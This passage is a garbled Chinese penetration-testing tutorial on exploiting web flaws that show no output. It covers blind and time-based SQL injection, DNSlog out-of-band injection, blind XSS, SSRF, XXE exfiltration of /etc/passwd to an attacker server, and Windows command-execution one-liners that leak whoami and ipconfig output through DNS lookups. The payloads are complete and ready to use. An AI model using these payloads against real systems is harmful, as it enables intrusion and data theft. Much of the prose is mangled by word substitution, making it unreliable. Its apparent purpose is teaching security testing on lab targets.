2、在传参后面加个单引号,页面返回空,不显示缺点信息,不能利用报错注入。

3、通过拼接and 1=1和and 1=2,创造页面对于布尔值的真与假返回的页面结果也不同。

4、通过length()函数判断数据库库名的长度大于1。
?id=1’ and length(database())>1 %23

测试php记一次PHP渗入渗出测试实战教程 jQuery

5、在大于8的时候页面返回空,以是数据库库名长度即是8。

6、通过ascii()函数和substr ()截取函数获取数据库库名的第一个字符的ascii码?id=1’ and ascii(substr((select database()),1,1))>97 %23?id=1’ and ascii(substr((select database()),1,1))=101 %23首先用大于号判断出大概所处的值,末了利用即是号验证ascii码的值。
此处得出数据库库名的第一个字符的ascii码值为115,对应字符为s。

7、变动截取的位置,判断后面的字符对应的ascii码值。
?id=1’ and ascii(substr((select database()),2,1))=101 %23

1.2 延时盲注

延时盲注,一种盲注的手腕。
在渗透测试过程中当我们不能利用显错注入、报错注入以及布尔盲注无论布尔值为真还是为假,页面都返回一样之后,我们可以考试测验利用延时盲注,通过加载页面的韶光长度来判断数据是否成功。
在PHP中有一个if()函数,语法为if(exp1,exp2,exp3),当exp1返回为真时,实行exp2,返回为假时,实行exp3。
合营延时函数sleep()来获取相应数据的ascii码,末了还原成数据。
下面我将通过实例来先容如今进行延时盲注。
1、首先获取的页面如下,后面不论接上布尔值为真还是为假的,页面都返回一样,此时将不能利用布尔盲注。

2、通过and拼接延时函数查看页面是否有延时回显。
首先记录没有利用延时函数的页面返回韶光,为4.秒;利用sleep(5)延时5秒之后,页面相应韶光为9.秒,解释对付我们输入的sleep()函数进行了延时处理,此处存在延时盲注。

3、通过延时注入判断数据库库名的长度。
一个个测试创造当长度即是8时页面延时返回了,解释数据库库名长度为8。
?id=2’ and if((length(database())=8),sleep(5),1) %23

4、与布尔盲注一样,将子查询的数据截断之后判断ascii码,相等时延时5秒。
末了得到第一个字符的ascii码为115。
?id=2’ and if((ascii(substr((select database()),1,1))=115),sleep(5),1) %23

5、后面更换截断的位置,测试后面的字符的ascii码值。
末了得到对应的ascii码值为115 101 99 117 114 105 116 121。
通过ascii解码工具解得数据库库名为security。

巧用dnslog进行SQL注入

前面先容了SQL注入中的盲注,通过布尔盲注或者延时盲注来获取数据须要的步骤非常繁琐,不仅须要一个一个字符的获取,末了还须要进行ascii解码,这须要花费大量的韶光与精力。
为了加快渗透进程,以及降落获取数据的难度,这里先容如何通过dnslog进行SQL注入。

Dnslog

dnslog,即dns日志,会解析访问dns做事的记录并显示出来,常被用来测试漏洞是否存在以及无法获取数据的时候进行外带数据。
大略来说,dnslog便是一个做事器,会记录所有访问它的记录,包括访问的域名、访问的IP以及时间。
那么我们就可以通过子查询,拼接dnslog的域名,末了通过dns日志得到须要的数据。

Load_file()函数

数据库中的load_file()函数,可以加载做事器中的内容。
load_file(‘c:/1.txt’),读取文件并返回内容为字符串,利用load_file()函数获取数据须要有以下几个条件:1.文件在做事器上2.指定完全路径的文件3.必须有FILE权限

UNC路径

UNC路径便是类似\softer这样的形式的网络路径。
它符合 \做事器名\做事器资源的格式。
在Windows系统中常用于共享文件。
如\192.168.1.1\共享文件夹名。

Dnslog注入实例演示

1、打开实例站点,很明显这里是只能利用盲注的站点。

2、通过order by判断出字段数为3。

3、在dnslog网站申请一个dnslog域名:pcijrt.dnslog.cn

4、通过load_file函数拼接查询数据库库名的子查询到dnslog的域名上,后面任意接一个不存在的文件夹名。
末了将这个查询放到联合查询中,布局的payload如下:

?id=1 ' union select 1,2,load_file(concat('//',(select database()),'.pcijrt.dnslog.cn/abc')) %23

5、实行语句之后在dnslog日志中获取到数据库库名为security。

6、修正子查询里的内容,获取其他数据。

2、XSS无回显

XSS无回显比较分外,一样平常XSS漏洞的判断标准为弹框,但是有这样一种情形,在一个表单提交处,内容提交之后只会在页面显示提交成功与否,不会输出提交的内容,那么我们也就无法通过弹框来判断XSS漏洞存在与否。
这时候就须要通过XSS盲打来进行攻击。
下面通过Pikachu漏洞练习平台来进行实例讲解:

2.1 XSS盲打

1、如图这里是一个提交意见的功能

2、随便输入内容提交,见告我们提交成功,没有将我输入的内容返回到页面中

3、登录后台可以看到确实有数据回显

4、输入弹框语句会在后台成功实行

5、在渗透测试过程中我们无法登录后台进行查看,那么就须要盲打XSS,输入XSS平台的payload,坐等管理员查看内容后中计。

2.2 通过dnslog判断漏洞存在

payload:<img src=http://xss.t7y3wc.dnslog.cn>

3、SSRF无回显

SSRF即做事端要求假造,一种由攻击者布局的通过做事器发起要求的攻击。
测试代码如下:

<?php echo file_get_contents($_GET['url']);?>

首先通过访问百度可以验证漏洞存在

无回显情形即不进行输出,页面返回空

这种情形可以通过dnslog或者python搭建http做事验证1、DNSLOGhttp://172.16.29.2/ssrf_test.php?url=http://ssrf.02c6ot.dnslog.cn

2、python起的http做事

python3 -m http.server 4545

4、XXE无回显

由于XML是用来存储传输数据的,除了确实是业务须要,否则开拓不可能会输出内容,也便是说你确实读取到了文件内容,但是没办法看到。
XXE无回显问题当然也是可以通过在域名前面放入查询出的内容,将数据通过dns日志记录下来。
XXE虽然不是通过DNSlog,但是也同样是外带数据。
流程如下:在受害者网站中,我们通过要求攻击者VPS上的1.xml文件,文件内容为将某数据放在GET传参中去访问2.php。
然后2.php中的内容为保存GET传参的数据,将数据放入到3.txt中。
详细文件内容放不才面,里面的IP地址该当为攻击者的IP地址,这3个文件也是放在攻击者VPS上。
1.xml

<!ENTITY% all "<!ENTITY % send SYSTEM 'http://攻击者的IP地址/2.php?id=%file;'>">%all;

2.php

<?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>

3.txt

内容空payload:<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"><!ENTITY % remote SYSTEM"http://做事器IP地址/xxe/1.xml">%remote;%send;]>5、命令实行无回显

大略的命令实行站点

输入任何命令都无回显

5.1 Dnslog判断漏洞存在

5.2Dnslog外带数据5.2.1 获取windows用户名

http://127.0.0.1/test_blind/exec.php?cmd=ping+%USERNAME%.io5a5i.dnslog.cn

5.2.2 其他命令实行

cmd /c whoami > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,-1%.xxxx.ceye.io)&del temp

cmd /c ipconfig > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,40%.xxxx.ceye.io & cmd /c nslookup %_:~40,-1%.xxxx.ceye.io)&del temp

通过POST传参测试

传参的内容须要进行url编码

Post传参

Dnslog获取结果

Base64解码获取内容

总结

在渗透测试过程中,无回显是很常见的,程序不可能将一些操作都回显到页面中,那么这种时候我们就须要外带数据来获取想要的内容。
当然最好便是能够反弹shell,通过获取shell来实行命令,这样会舒畅很多。

无回显的情形还有很多很多,这里大略先容了几种,希望读者朋友们能够从中学到对付无回显的情形下如何进行渗透测试,方法很多,不固定,学习思路即可。